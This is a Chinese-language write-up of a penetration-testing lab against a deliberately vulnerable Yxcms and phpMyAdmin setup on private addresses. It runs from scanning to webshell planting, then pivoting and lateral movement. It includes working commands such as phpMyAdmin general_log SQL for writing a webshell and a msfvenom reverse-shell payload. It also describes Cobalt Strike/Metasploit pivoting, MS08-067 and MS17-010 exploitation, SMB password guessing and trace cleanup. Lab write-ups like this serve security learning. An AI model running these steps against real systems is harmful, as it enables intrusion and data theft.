安全提示:该篇内容仅可用于学习
任务要求
环境配置
下载靶场;网卡配置;检测联通性;开启web服务。
信息收集
使用Nmap扫描;使用kali Linux访问目标80端口;使用御剑后台扫描工具扫描。
漏洞利用
yxcms漏洞(信息泄露+后台弱密码);
phpadmin弱口令漏洞;
yxcms的留言板存在存储型xss漏洞;
yxcms后台存在任意文件读写漏洞;
开启全局日志getshell;
反弹shell,MSF监听;
MSF提权;
使用Cobalt Strike;
系统信息收集;
1主机密码收集;
1CS与MSF联动;
MSF下的会话传给CS;
使用cs的socks功能将msf带入内网。
内网攻击
MS08-067;SMB远程桌面口令猜测;RPC DCOM 服务漏洞;ms17-010。
横向移动
实操过程

图1 某公司内网网络拓扑
内网实战
环境配置
VM1 ( win 7 ) VM2 ( win 2003 ) VM3 ( win 2008 )


服务开启
使用上面的账号密码打开win 7 靶机的服务,然后使用win 7 中的浏览器访问127.0.0.1 ,查看服务是否开启



信息收集
探测目标
arp扫描器
Kali自带了arp 扫描器 ,可以通过这个工具扫描出和自身网卡同一网段的主机
arp-scan -l #扫描网段所有主机
arp-scan -I eth0 -l #扫描指定网段所有ip

nmap
nmap -sn 192.168.123.0/24

端口服务
nmap
nmap -T4 -p- 192.168.154.129 #T4是扫描速度
nmap -T4 -O -sV -p- 192.168.154.129 & namp -A 192.168.154.129
#个人常用第一条,可以探测出操作系统,端口、端口服务及服务版本信息
#如果使用 参数:-A 的话会更详细,但也会更慢

masscan

目录扫描
御剑

漏洞分析
备份文件
文件名为:yxcms,猜测路径为:http://192.168.123.129/yxcms

主页敏感信息

PHPMyAdmin
http://192.168.123.129/phpmyadmin/

默认后台

漏洞利用
Yxcms后台模板 Getshell 弱口令登录
在上面信息收集处看到了默认密码admin/123456

访问Yxcms的默认后台路径进行登录
http://192.168.123.129/yxcms//index.php?r=admin/index/login

模板写一句话
看到有个前台模板,既然是模板,那应该有写入shell的地方。
点击前台模板>管理模板文件>点击编辑


访问主页面(http://192.168.123.129/yxcms/)可以发现主页面出现了phpinfo和一堆字符串,此刻可以用菜刀连接了,连接上了,shell也就到手了。
进行文件目录查找,最后找到木马生成后的位置在/yxcms/protected/apps/default/view/default/路径下,如下:




PHPMyAdmin日志 Getshell
弱口令登录PHPMyAdmin
在配置文件中发现了数据库的账号密码root / root,访问PHPMyAdmin并使用root登录
http://192.168.123.129/phpmyadmin/

into outfile写入一句话
into outfile写入的条件如下:
root权限
知道绝对路径
phpmyadmin 日志写入一句话
show global variables like "%general%";

可以使用下面的命令行进行修改
C:/phpStudy/WWW/a.php
set global general_log="on"; #开启日志,修改为on
set global general_log_file="C:/phpStudy/WWW/l.php"; #修改日志路径(在上面提到的phpinfo.php中有泄露路径)


蚁剑连shell

在上面可以知道我们是直接将l.php写在C盘的WWW中的,所以直接访问,然后使用蚁剑连接

反弹shell,MSF监听;
在kali上生成shell.exe
Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.123.178 LPORT=1111 -f exe -o shell.exe
-p为指定payload,使用msf的payload的时候要和这个相同,lhost为自己ip,lport为自己端口,-f为payload类型

上传到服务器上
使用蚁剑将文件上传到服务器上

msf开启监听

在蚁剑命令行中运行shell.exe

MSF提权;
使用Cobalt Strike;
CS配置



创建了artifact.exe用蚁剑放入win7

连接成功

系统信息收集;

主机密码收集;

CS与MSF联动;
这里payload需要选择Foreign HTTP





MSF下的会话传给CS;
击Cobalt Strike然后选择监听器,创建一个HTTPS Beacon的监听器即可创建成功后如下

开始传递会话

CS上已经可以看到MSF的会话传递过来了

使用cs的socks功能将msf带入内网。



msf配置:
粘贴cs生成的命令
setgProxiessocks4:192.168.123.178:17071
setg ReverseAllowProxy true 允许反向代理

修改/etc/proxychains.conf文件

内网信息收集
补丁信息收集

安装软件信息

查看路由信息

arp扫描52网段

使用meterpreter关闭防火墙,再使用nmap扫描


使用nmap的vuln漏洞扫描脚本进行扫描

使用msf辅助模块进行扫描,查看是否存在ms17-010漏洞

在cs上使用目标机器上的nmap,对内网其他主机进行扫描

内网攻击
MS08-067;
使用cs将msf带入内网后,使用ms08-067攻击模块攻击内网主机,注意使用的是反向代理,所以这里payload需要使用正向


漏洞利用成功

SMB远程桌面口令猜测;
使用msf的smb口令猜测模块,配置参数用于smb口令爆破


RPC DCOM 服务漏洞;
漏洞原理:
微软修改 dcerpc 框架后形成自己的 RPC 框架来处理进程间的通信。微软的 RPC 框架在处理 TCP/IP 信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;此漏洞影响使用 RPC 框架的 DCOM 接口,DCOM 接口用来处理客户端机器发送给服务器的 DCOM 对象激活请求,如 UNC 路径
ms17-010

横向移动
渗透
扫描141的时候发现开了445端口,尝试使用MS17_010


清理痕迹
